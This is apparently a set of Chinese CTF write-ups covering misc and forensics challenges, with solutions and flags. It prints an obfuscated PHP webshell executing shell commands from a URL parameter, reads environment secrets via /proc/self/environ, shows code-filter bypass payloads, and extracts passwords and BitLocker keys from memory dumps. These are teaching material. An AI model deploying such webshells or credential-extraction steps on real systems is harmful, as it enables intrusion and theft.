decompress
压缩包套娃,一直解到最后一层,将文件提取出来
提示给出了一个正则,按照正则爆破密码,一共五位,第四位是数字
^([a-z]){3}\d[a-z]$
一共就五位数,直接ARCHPR爆破,得到密码 xtr4m,解压得到flag
pleasingMusic
题目描述中提到:
一首歌可以好听到正反都好听
根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)。
可以手动翻译摩斯电码表,也可以使用在线解码。
粗的表示:-,细的表示:.间隔或者空格:用空格或者/分割
WhereIsFlag
纯命令手工查找,找到真正的 flag 在 /proc/self/environ
文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.
cat /proc/self/environ
Labyirinth
兑换码
wireshark_checkin
wireshark_secret
联系题目描述,找到提瓦特文字对照表
对照表解出了很多东西
我一开始一直试的中间的那串大的,但是大小写都不对
后面继续解密四周小的密文,得到:FLAGISASENTENCE IIAAELGTSFKFA
DOYOUKNOWFENCE MESIOAABGNHNSGOGMYEIADE
提示 flag 是一句话,还有 FENCE 也就是栅栏加密MESIOAABGNHNSGOGMYEIADE
https://ctf.bugku.com/tool/railfence
包裹 flag 提交发现没对,换小写发现正确
最终 flag为:flag{maybegenshinisagoodgame}
字里行间的秘密
使用vscode打开,发现U+202c的的宽零字节
得到密码:it_is_k3y
使用密码打开word,发现空白,ctr+A全选,复制出来,得到flag
热心助人的小明同学
vol.py -f image.raw imageinfo
可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。
voL.py -f image.raw --profile=Win/SP1x86_23418 lsadump
开头的 0x48
并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh
.
最终flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}
用溯流仪见证伏特台风
第一步,打开新闻视频的链接
根据视频,我们获得以下信息:
- 所需报告:The Rise of Dark Power...
- 对应版本:最初 4 月 15 日版本
- 现状:所需信息已经被篡改
我们直接搜索报告名称
https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf
可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改
所以现版本肯定是没有我们所需的信息的
出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。
但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.
输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。
下载文件,剩下的内容就和视频中演示的一样了。
移开封底图片,拿到 Domain 框里的东西,然后 MD5,
当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。
包上 flag,得到 flag{6c3ea51b6f9d4f5e}
.
Herta's Study
http导出得到upload.php
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);
?>
str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
"."是php里的连接符,所以上传的php代码其实为:
<?php
$payload = $_GET['payload'];
$payload = shell_exec($payload);
$bbb = function ($ns) {
$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i++) {
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
return $ns;
};
echo $bbb($payload);
?>
根据代码,可以看到,得出的结果经过base64编码,然后把里面的奇数位字符用str_rot13编码了。
然后去找到请求flag的包,解码,但是发现是fake flag。
<?php
$result='ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
$bbb=function ($ns) {
for ($i = 0; $i < strlen($ns); $i++) {
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
return $ns;
};
echo base64_decode($bbb($result));
?>
后来去找了下f.txt,解出来flag:flag{sH3_i4_S0_6eAut1fuL.}
BGM 坏了吗?
用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音
根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音
选择 分离立体音到单声道 » 关闭左声道 » 导出
按键音(即DTMF)解密网站:DTMF Decoder
包上 flag{}
即可
AmazingGame
安卓私有目录位于 /data/user/0/<包名>
下
安卓的 shared_prefs
一般用来存放软件配置数据
修改文件即可更改已通过的关卡数据
通过第一关后,关掉游戏(这点很重要)
ADB 链接手机执行
shell
adb shell
run-as com.pangbai.projectm
cd shared_prefs
cat net.osaris.turbofly.JumpyBall.xml
xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="cockpitView" value="true" />
<int name="unlockedsolotracks" value="2" />
<int name="unlockedtracks" value="2" />
<int name="best0m0" value="130" />
<int name="unlockedships" value="1" />
<int name="userid" value="9705893" />
</map>
软件有 23 个关卡,我们把关卡解锁数改为 23
正常来说应该用 adb push
来修改文件,这里我们为了方便直接把 2 替换成 23
shell
sed -i 's/2/23/g' net.osaris.turbofly.JumpyBall.xml
打开游戏发现关卡全部解锁,随便游玩 23 关,等游戏结束即可获得 flag
ez_jail
本题的原意是只考查 {}
在 C++ 里的(宏)替代运算符这个知识
只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目
我们观察代码的 check
函数
python
def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"
这段代码看似过滤了 #include
#define
等,但不知道同学们有没有意识到 #
后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理
所以 Payload 可以是这样(感谢 yuro 师傅提供解法)
cpp
# define user_code() write(STDOUT_FILENO, "Hello, World!", 13);
预期解是找到 C++ 的替代运算符的相关资料,然后使用 <% %>
替换{}
,Payload 如下
cpp
void user_code()<%write(1, "Hello, World!\n", 14);%>
除此之外,还可以使用指针,把 user_code()
变成一个空函数。输出的话可以通过定义一个全局变量接收输出函数的返回值来实现,其 payload 如下(感谢 c_lby 师傅提供解法)
cpp
int a=puts("Hello, World!");
int (*user_code)()=rand;
或者可以这样(感谢 KAMIYA 选手提供解法)
cpp
int x = (printf("Hello, World!\n"), 0);
using user_code = void(*)();
OSINT-MASTER
给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419
直接在 flightaware 中搜索这个标号,应该是飞机的注册号
可以搜到这是一架东航的飞机
在下面可以找到历史航班
可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息
找到航班号 MU5156
下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜
14:30 在 14:13 和 14:51 中间偏左的位置
放大来看,此时飞机大致经过邹城市
经过搜索,邹城市属于济宁市,济宁市是地级市
所以答案是 flag{MU5156_济宁市}
扫码领取flag
1.解压得到很多压缩包文件,使用winhex查看,发现是8950开头,都将文件修改为后缀名.jpg
2.使用工具对所有png图片进行CRC32自动化爆破修复,会得到每个图片是二维码的残图
3.使用PPT对二维码进行拼接成一张二维码图片
4使用OCR扫描二维码得到 flag
flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}
擅长音游的小明同学
题目简介如下:
主要是帮助新人了解一下磁盘取证仿真的过程,为了让他符合一点 Week4 的特质还附赠了一点图片隐写,还有出题人活全家小trick。
如果有强大的必应搜索能力,除了 trick 需要动脑子,其他的按网上教程其实都有,不过下面也有就是了
先看介绍:
小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5,
当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西,
然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?),
这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力,
小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到找到令人头疼的秘密。
首先我们能知道什么?
- 小明是音游吃,底力没了会很伤心
- 桌面上有秘密,说白了就是 Flag,而且很明显
- 你手里有一个磁盘镜像
- 算是个提示:使用磁盘镜像启动系统
这个提示告诉我们解题流程类似于仿真取证。
预期解法:使用 FTK imager + 虚拟机进行仿真找出 Flag.
TIP
科普常用小工具:FTK imager ——可以制作镜像、挂载镜像、分析镜像,数据恢复等操作,不管是出题还是解题都十分好用,这里正常解法使用 4.2.0 版本,高版本可能会出现一些问题。
想要进行仿真取证的话,了解系统的基本信息是非常必要的,这里我们使用最原始方法为例:
首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64.
由提示而来,看看桌面的背景图片和文档,能不能直接提取 Flag.
瞅一眼图片,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Themes
或 C:\Windows\Web\Wallpaper\Windows
可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有:
文件包含的一些内容:
要开始了哟~.txt真相.txt
plaintext
今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
我要把这一刻用照片保存下来
不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
打开也没发现什么异常,但是体积好像变大了一点
是错觉吗?
我们确定了有一张日常图片,而且一定是藏了东西的,我们可以在图片文件夹寻找到照片进行分析(哎舞萌痴):
使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常):
文字内容:
plaintext
?????_DIMENSION_1200x800
压缩包可以使用 binwalk 提取并解压:
secret.txt
plaintext
听好了听好了听好了听好了听好了听好了听好了:
1919年8月10日,世界就此陷落,
陷落的世界都将迎来一场漩涡,
为这个世界带来有关弗拉格尚未知晓的真相。
但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在
也许,在世界的重置和轮回中能找到发现真相的方法……
至此,尘埃落定
至此,一锤定音
#音游# #NewStarcaea# #Misc#
这里可能就需要一些脑洞了,这个世界的宽高和上面的 Dimension 1200×800 能想到是分辨率吗?
实际上到这里信息刺探就已经结束了,下面开始进行仿真启动,这里使用了 Vmware,如果你想使用 HyperV 或者 VirtualBox 的话可以搜索:如何将 E01 转为 VHD / VDI.
注意
FTK Imager 4.5.0.2 版本可能会出问题,建议使用 4.2.0 版本。
进行以下选择,直接将镜像映射成物理磁盘,方便虚拟机直接使用启动:
一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功:
挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动:
启动之后新建虚拟机就可以了。
选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下:
为什么要选择 UEFI?
结合搜索引擎和对挂载硬盘的研究,不难发现除放置文件的硬盘,还有两个小硬盘,对应的就是 ESP 分区 和 MSR 分区,这些特征符合 GPT 分区格式的硬盘,不同于 MBR,因此需要选择 UEFI,这里不展开讨论,有兴趣的师傅们可以慢慢了解。
WARNING
这里选择要与挂载结果的显示物理磁盘的挂载位置要一致。
接下来就可以启动了,如果提示被占用,可以检查挂载是否挂载为「可写」,也可以尝试重启系统,使用 FTK 直接挂载,再试一次。
当你进入系统后就不得不想起前面的提示:
plaintext
但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在
1200x800
Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了
你需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了:
最终:flag{wowgoodfzforensics}
WriteUp 是出题人视角的解法,如果是新生想要解题,则大概率做题路径会先根据题目介绍先仿真启动虚拟机,然后发现桌面什么都没有,根据留下的引导发掘出真相,然后重新启动一遍虚拟机。(一想到发现真相的新人们要重新开始笑容就到了我的脸上。)
擅长加密的小明同学
涉及到取证常见的 Volatility 和 GIMP 看图的组合技,还融入(缝)了 BitLocker 解密环节。
拿到题目,题目含有一个 .raw
镜像和一个 .vhd
镜像,尝试挂载 vhd 镜像发现有 BitLocker 加密,看一眼简介:
小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥…… 据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了www
明确目标,我们围绕套娃加密分析:
双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor
,基本上搜到的博客都用它,使用以上软件,按图示步骤解密:
选择第一项「解密或挂载硬盘」:
由于题目给了 vhd 文件,所以选使用镜像文件的第二项:
数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件:
一顿操作猛如虎,你就拿到了恢复密钥,这时候你就可以解锁被加密的 vhd 了,软件可以导出解密内容为 raw 格式镜像,raw 格式处理会麻烦一点,但不是不可以。这里在 “更多选项” 选择用恢复密钥解密,得到:
然后你会发现套娃的第二层加密:
7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。
在这里我们借助 volatility 和 GIMP 的力量解决问题:
首先按照上一道取证,分析镜像后查看进程:
发现 mspaint.exe(画图进程),我们提取出来,使用 memdump:
提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。
在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到:
我们现在就是要调节位移、宽度、高度来显现程序运行时显示的内容。
小提示
- 一般正常的内存镜像的话,图像类型我们都选择「RGB 透明」
- 适当调大宽高,能显示多一点内容,但别调太高,小心程序崩了
- 位移看着拉,先拉到感觉有东西显示的位置,感觉差不多这样吧,一般画图就是白的夹依托的感觉:
- 调好位移就调宽高,宽和高实际上就是和程序窗口大小有关,所以别太高,主要是宽度,如果和图上一样↘斜,那么你就该调高宽度,箭头一点一点加上去,如果是↗,你就得一点一点减下来,知道看上去正常了,下面是较为正常,也够用:
- 936 其实已经是很正常了(上附虚拟机真实图片),其实如果你发现内容如果很不对劲,频繁重复的话,你也可以适当减小整数倍(当然这里会看起来很窄):
总之多尝试 ~
最后我们得到了:
压缩包密码:rxnifbeiyomezpplugho
解压得到 Flag:Flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}
ezblockchain
本题是一题区块链题。
浏览器安装 MetaMask 插件,在 MetaMask里 添加网络,网络符号和货币符号可以随便输
通过自己的账号地址在 faucet 获得测试代币
nc 获得合约部署账号并使用 Metamask 转账
交互部署合约,获得合约地址和代码
将代码复制进 Remix 编辑器 内,在「Solidity 编译器」选项卡点击编译,然后切换到「部署 & 发交易」选项卡,环境选择 Injected Provider,选择你有 eth 的账户,合约选择你刚编译的合约,然后加载前面 nc 获得的合约地址
阅读合约代码可以知道,我们要调用 unlock
函数,传入 re@1lY_eA3y_Bl0ckCh@1n
并发送 0.0721 个 eth. 因此在「部署 & 发交易」选项卡的以太币数量填入 0.0721 eth,由于无法填入小数,需将其转为 72100000 Gwei,在 unlock 填入 re@1lY_eA3y_Bl0ckCh@1n
,点击 unlock 进行交易。
交易确认后点击 isSolved
可发现已经变为 true
. 此时再 nc 交互即可得到 flag
Alt
本题考察键盘流量的解析。
根据选手反馈,本题难点有二:
- 一是找的码位对照表不全,没有 KeyPad 区(右手数字小键盘区)的对照;
- 二是不知道 Alt 在这道题里有什么作用。
第一步我们需要用 tshark 把 USB 数据提取出来,本题的数据为 usbhid 格式,有些题目的格式也可能是 usb.capdata.
bash
tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt
然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析:
plaintext
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005a0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00
,第三到八字节是我们敲击的键。
有些同学反映,网上的脚本里找不到 0x59
0x62
等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。
很多同学分析到这里,都会忽略第一字节的 0x04
,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。
直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla
这三个字符,以此类推,就能得到整个 flag.
还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。
注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量。
因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr
函数进行计算,就能获得十进制码值对应的字符。
附件内容:链接: https://pan.baidu.com/s/1_5ASgOO7VUzUp1rhDMZYtg?pwd=8mgn 提取码: 8mgn